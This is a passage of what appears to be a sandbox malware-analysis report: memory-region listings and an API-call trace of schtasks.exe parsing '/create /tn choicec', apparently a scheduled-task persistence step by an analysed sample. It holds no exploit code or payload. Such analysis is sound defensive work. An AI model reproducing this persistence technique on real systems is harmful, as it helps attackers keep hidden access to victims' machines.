"c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2341 start_va = 0x2a0000 end_va = 0x31cfff monitored = 0 entry_point = 0x2acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2342 start_va = 0x2a0000 end_va = 0x31cfff monitored = 0 entry_point = 0x2acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2343 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2344 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2345 start_va = 0x2a0000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2346 start_va = 0x1e20000 end_va = 0x1efefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e20000" filename = "" Region: id = 2347 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2348 start_va = 0x2090000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 2349 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2350 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2351 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2352 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2353 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 2354 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2355 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2356 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 118 os_tid = 0xf4c [0064.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19fea0 | out: lpSystemTimeAsFileTime=0x19fea0*(dwLowDateTime=0x4fad6980, dwHighDateTime=0x1d9eb0c)) [0064.749] GetCurrentProcessId () returned 0xf48 [0064.749] GetCurrentThreadId () returned 0xf4c [0064.749] GetTickCount () returned 0x1765c0b [0064.749] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x19fea8 | out: lpPerformanceCount=0x19fea8*=2487123252013) returned 1 [0064.750] GetModuleHandleW (lpModuleName=0x0) returned 0xffe10000 [0064.750] __set_app_type (_Type=0x1) [0064.750] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe3972c) returned 0x0 [0064.750] __wgetmainargs (in: _Argc=0xffe51240, _Argv=0xffe51250, _Env=0xffe51248, _DoWildCard=0, _StartInfo=0xffe5125c | out: _Argc=0xffe51240, _Argv=0xffe51250, _Env=0xffe51248) returned 0 [0064.751] _onexit (_Func=0xffe42ab0) returned 0xffe42ab0 [0064.751] _onexit (_Func=0xffe42ac4) returned 0xffe42ac4 [0064.751] _onexit (_Func=0xffe42afc) returned 0xffe42afc [0064.751] _onexit (_Func=0xffe42b58) returned 0xffe42b58 [0064.751] _onexit (_Func=0xffe42b80) returned 0xffe42b80 [0064.752] _onexit (_Func=0xffe42ba8) returned 0xffe42ba8 [0064.752] _onexit (_Func=0xffe42bd0) returned 0xffe42bd0 [0064.752] _onexit (_Func=0xffe42bf8) returned 0xffe42bf8 [0064.752] _onexit (_Func=0xffe42c20) returned 0xffe42c20 [0064.752] _onexit (_Func=0xffe42c48) returned 0xffe42c48 [0064.752] _onexit (_Func=0xffe42c70) returned 0xffe42c70 [0064.753] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0064.753] WinSqmIsOptedIn () returned 0x0 [0064.753] GetProcessHeap () returned 0x330000 [0064.753] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x345590 [0064.753] SetLastError (dwErrCode=0x0) [0064.753] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0064.753] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0064.754] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0064.754] VerifyVersionInfoW (in: lpVersionInformation=0x19f660, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19f660) returned 1 [0064.754] GetProcessHeap () returned 0x330000 [0064.754] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34bb50 [0064.754] lstrlenW (lpString="") returned 0 [0064.754] GetProcessHeap () returned 0x330000 [0064.754] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x2) returned 0x34bb70 [0064.754] GetProcessHeap () returned 0x330000 [0064.754] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345a80 [0064.754] GetProcessHeap () returned 0x330000 [0064.754] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34bb90 [0064.754] GetProcessHeap () returned 0x330000 [0064.754] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345ab0 [0064.754] GetProcessHeap () returned 0x330000 [0064.754] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345ae0 [0064.754] GetProcessHeap () returned 0x330000 [0064.754] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345b10 [0064.754] GetProcessHeap () returned 0x330000 [0064.754] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345b40 [0064.754] GetProcessHeap () returned 0x330000 [0064.754] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34bbb0 [0064.754] GetProcessHeap () returned 0x330000 [0064.754] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345b70 [0064.754] GetProcessHeap () returned 0x330000 [0064.754] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345ba0 [0064.754] GetProcessHeap () returned 0x330000 [0064.755] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345bd0 [0064.755] GetProcessHeap () returned 0x330000 [0064.755] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345c00 [0064.755] GetProcessHeap () returned 0x330000 [0064.755] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34bbd0 [0064.755] GetProcessHeap () returned 0x330000 [0064.755] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345c30 [0064.755] GetProcessHeap () returned 0x330000 [0064.755] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345c60 [0064.755] GetProcessHeap () returned 0x330000 [0064.755] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345c90 [0064.755] GetProcessHeap () returned 0x330000 [0064.755] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345cc0 [0064.755] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.755] SetLastError (dwErrCode=0x0) [0064.755] GetProcessHeap () returned 0x330000 [0064.755] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345cf0 [0064.755] GetProcessHeap () returned 0x330000 [0064.755] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345d20 [0064.755] GetProcessHeap () returned 0x330000 [0064.755] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345d50 [0064.755] GetProcessHeap () returned 0x330000 [0064.755] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345d80 [0064.756] GetProcessHeap () returned 0x330000 [0064.756] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345db0 [0064.756] GetProcessHeap () returned 0x330000 [0064.756] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34bbf0 [0064.756] _memicmp (_Buf1=0x34bbf0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.756] GetProcessHeap () returned 0x330000 [0064.756] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x208) returned 0x34bd90 [0064.756] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34bd90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0064.756] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0064.758] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0064.758] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0064.760] GetProcessHeap () returned 0x330000 [0064.760] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x74e) returned 0x34c360 [0064.760] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0064.760] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x34c360 | out: lpData=0x34c360) returned 1 [0064.760] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0064.760] VerQueryValueW (in: pBlock=0x34c360, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19f748, puLen=0x19f7b0 | out: lplpBuffer=0x19f748*=0x34c6fc, puLen=0x19f7b0) returned 1 [0064.762] _memicmp (_Buf1=0x34bbf0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.762] _vsnwprintf (in: _Buffer=0x34bd90, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x19f728 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0064.762] VerQueryValueW (in: pBlock=0x34c360, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x19f7b8, puLen=0x19f7a8 | out: lplpBuffer=0x19f7b8*=0x34c528, puLen=0x19f7a8) returned 1 [0064.762] lstrlenW (lpString="schtasks.exe") returned 12 [0064.762] lstrlenW (lpString="schtasks.exe") returned 12 [0064.762] lstrlenW (lpString=".EXE") returned 4 [0064.762] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0064.763] lstrlenW (lpString="schtasks.exe") returned 12 [0064.763] lstrlenW (lpString=".EXE") returned 4 [0064.763] _memicmp (_Buf1=0x34bbf0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.764] lstrlenW (lpString="schtasks") returned 8 [0064.764] GetProcessHeap () returned 0x330000 [0064.764] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x345ea0 [0064.764] GetProcessHeap () returned 0x330000 [0064.764] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cc70 [0064.764] GetProcessHeap () returned 0x330000 [0064.764] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cca0 [0064.764] GetProcessHeap () returned 0x330000 [0064.764] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34ccd0 [0064.764] GetProcessHeap () returned 0x330000 [0064.764] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34bc10 [0064.764] _memicmp (_Buf1=0x34bc10, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.764] GetProcessHeap () returned 0x330000 [0064.764] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xa0) returned 0x34c190 [0064.764] GetProcessHeap () returned 0x330000 [0064.764] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cd00 [0064.764] GetProcessHeap () returned 0x330000 [0064.764] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cd30 [0064.764] GetProcessHeap () returned 0x330000 [0064.764] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cd60 [0064.764] GetProcessHeap () returned 0x330000 [0064.764] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34bc30 [0064.765] _memicmp (_Buf1=0x34bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.765] GetProcessHeap () returned 0x330000 [0064.765] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x200) returned 0x34d440 [0064.765] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x34d440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0064.765] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0064.765] GetProcessHeap () returned 0x330000 [0064.765] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x30) returned 0x347c10 [0064.765] _vsnwprintf (in: _Buffer=0x34c190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x19f728 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0064.765] GetProcessHeap () returned 0x330000 [0064.765] GetProcessHeap () returned 0x330000 [0064.765] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c360) returned 1 [0064.765] GetProcessHeap () returned 0x330000 [0064.765] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c360) returned 0x74e [0064.766] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c360 | out: hHeap=0x330000) returned 1 [0064.766] SetLastError (dwErrCode=0x0) [0064.766] GetThreadLocale () returned 0x409 [0064.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.766] lstrlenW (lpString="?") returned 1 [0064.766] GetThreadLocale () returned 0x409 [0064.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.766] lstrlenW (lpString="create") returned 6 [0064.766] GetThreadLocale () returned 0x409 [0064.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.766] lstrlenW (lpString="delete") returned 6 [0064.766] GetThreadLocale () returned 0x409 [0064.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.766] lstrlenW (lpString="query") returned 5 [0064.766] GetThreadLocale () returned 0x409 [0064.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.766] lstrlenW (lpString="change") returned 6 [0064.766] GetThreadLocale () returned 0x409 [0064.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.766] lstrlenW (lpString="run") returned 3 [0064.766] GetThreadLocale () returned 0x409 [0064.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.766] lstrlenW (lpString="end") returned 3 [0064.766] GetThreadLocale () returned 0x409 [0064.766] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.767] lstrlenW (lpString="showsid") returned 7 [0064.767] GetThreadLocale () returned 0x409 [0064.767] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.767] SetLastError (dwErrCode=0x0) [0064.767] SetLastError (dwErrCode=0x0) [0064.767] lstrlenW (lpString="/create") returned 7 [0064.767] lstrlenW (lpString="-/") returned 2 [0064.767] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.767] lstrlenW (lpString="?") returned 1 [0064.767] lstrlenW (lpString="?") returned 1 [0064.767] GetProcessHeap () returned 0x330000 [0064.767] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34c240 [0064.767] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.767] GetProcessHeap () returned 0x330000 [0064.767] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0xa) returned 0x34c360 [0064.767] lstrlenW (lpString="create") returned 6 [0064.767] GetProcessHeap () returned 0x330000 [0064.767] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34c380 [0064.767] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.767] GetProcessHeap () returned 0x330000 [0064.767] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x14) returned 0x34c3a0 [0064.767] _vsnwprintf (in: _Buffer=0x34c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|?|") returned 3 [0064.767] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0064.767] lstrlenW (lpString="|?|") returned 3 [0064.767] lstrlenW (lpString="|create|") returned 8 [0064.767] SetLastError (dwErrCode=0x490) [0064.767] lstrlenW (lpString="create") returned 6 [0064.767] lstrlenW (lpString="create") returned 6 [0064.767] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.767] GetProcessHeap () returned 0x330000 [0064.767] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c360) returned 1 [0064.767] GetProcessHeap () returned 0x330000 [0064.768] RtlReAllocateHeap (Heap=0x330000, Flags=0xc, Ptr=0x34c360, Size=0x14) returned 0x34c3c0 [0064.768] lstrlenW (lpString="create") returned 6 [0064.768] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.768] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0064.768] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0064.768] lstrlenW (lpString="|create|") returned 8 [0064.768] lstrlenW (lpString="|create|") returned 8 [0064.768] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0064.768] SetLastError (dwErrCode=0x0) [0064.768] SetLastError (dwErrCode=0x0) [0064.768] SetLastError (dwErrCode=0x0) [0064.768] lstrlenW (lpString="/tn") returned 3 [0064.768] lstrlenW (lpString="-/") returned 2 [0064.768] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.768] lstrlenW (lpString="?") returned 1 [0064.768] lstrlenW (lpString="?") returned 1 [0064.768] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.768] lstrlenW (lpString="tn") returned 2 [0064.768] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.768] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|?|") returned 3 [0064.768] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0064.768] lstrlenW (lpString="|?|") returned 3 [0064.768] lstrlenW (lpString="|tn|") returned 4 [0064.768] SetLastError (dwErrCode=0x490) [0064.768] lstrlenW (lpString="create") returned 6 [0064.768] lstrlenW (lpString="create") returned 6 [0064.768] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.768] lstrlenW (lpString="tn") returned 2 [0064.768] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.769] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0064.769] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0064.769] lstrlenW (lpString="|create|") returned 8 [0064.769] lstrlenW (lpString="|tn|") returned 4 [0064.769] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0064.769] SetLastError (dwErrCode=0x490) [0064.769] lstrlenW (lpString="delete") returned 6 [0064.769] lstrlenW (lpString="delete") returned 6 [0064.769] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.769] lstrlenW (lpString="tn") returned 2 [0064.769] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.769] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|delete|") returned 8 [0064.769] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0064.769] lstrlenW (lpString="|delete|") returned 8 [0064.769] lstrlenW (lpString="|tn|") returned 4 [0064.769] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0064.769] SetLastError (dwErrCode=0x490) [0064.769] lstrlenW (lpString="query") returned 5 [0064.769] lstrlenW (lpString="query") returned 5 [0064.769] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.769] lstrlenW (lpString="tn") returned 2 [0064.769] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.769] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|query|") returned 7 [0064.769] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0064.769] lstrlenW (lpString="|query|") returned 7 [0064.769] lstrlenW (lpString="|tn|") returned 4 [0064.769] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0064.769] SetLastError (dwErrCode=0x490) [0064.769] lstrlenW (lpString="change") returned 6 [0064.769] lstrlenW (lpString="change") returned 6 [0064.770] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.770] lstrlenW (lpString="tn") returned 2 [0064.770] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.770] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|change|") returned 8 [0064.770] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0064.770] lstrlenW (lpString="|change|") returned 8 [0064.770] lstrlenW (lpString="|tn|") returned 4 [0064.770] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0064.770] SetLastError (dwErrCode=0x490) [0064.770] lstrlenW (lpString="run") returned 3 [0064.770] lstrlenW (lpString="run") returned 3 [0064.770] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.770] lstrlenW (lpString="tn") returned 2 [0064.770] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.770] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|run|") returned 5 [0064.770] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0064.770] lstrlenW (lpString="|run|") returned 5 [0064.770] lstrlenW (lpString="|tn|") returned 4 [0064.770] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0064.770] SetLastError (dwErrCode=0x490) [0064.770] lstrlenW (lpString="end") returned 3 [0064.770] lstrlenW (lpString="end") returned 3 [0064.770] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.770] lstrlenW (lpString="tn") returned 2 [0064.770] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.770] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|end|") returned 5 [0064.770] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0064.770] lstrlenW (lpString="|end|") returned 5 [0064.771] lstrlenW (lpString="|tn|") returned 4 [0064.771] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0064.771] SetLastError (dwErrCode=0x490) [0064.771] lstrlenW (lpString="showsid") returned 7 [0064.771] lstrlenW (lpString="showsid") returned 7 [0064.771] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.771] GetProcessHeap () returned 0x330000 [0064.771] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c3c0) returned 1 [0064.771] GetProcessHeap () returned 0x330000 [0064.771] RtlReAllocateHeap (Heap=0x330000, Flags=0xc, Ptr=0x34c3c0, Size=0x16) returned 0x34c3c0 [0064.771] lstrlenW (lpString="tn") returned 2 [0064.771] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.771] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|showsid|") returned 9 [0064.771] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|tn|") returned 4 [0064.771] lstrlenW (lpString="|showsid|") returned 9 [0064.771] lstrlenW (lpString="|tn|") returned 4 [0064.771] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0064.771] SetLastError (dwErrCode=0x490) [0064.771] SetLastError (dwErrCode=0x490) [0064.771] SetLastError (dwErrCode=0x0) [0064.771] lstrlenW (lpString="/tn") returned 3 [0064.771] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0064.771] SetLastError (dwErrCode=0x490) [0064.771] SetLastError (dwErrCode=0x0) [0064.771] lstrlenW (lpString="/tn") returned 3 [0064.771] GetProcessHeap () returned 0x330000 [0064.771] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x8) returned 0x34c360 [0064.771] GetProcessHeap () returned 0x330000 [0064.771] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cd90 [0064.771] SetLastError (dwErrCode=0x0) [0064.772] SetLastError (dwErrCode=0x0) [0064.772] lstrlenW (lpString="choicec") returned 7 [0064.772] lstrlenW (lpString="-/") returned 2 [0064.772] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0064.772] SetLastError (dwErrCode=0x490) [0064.772] SetLastError (dwErrCode=0x490) 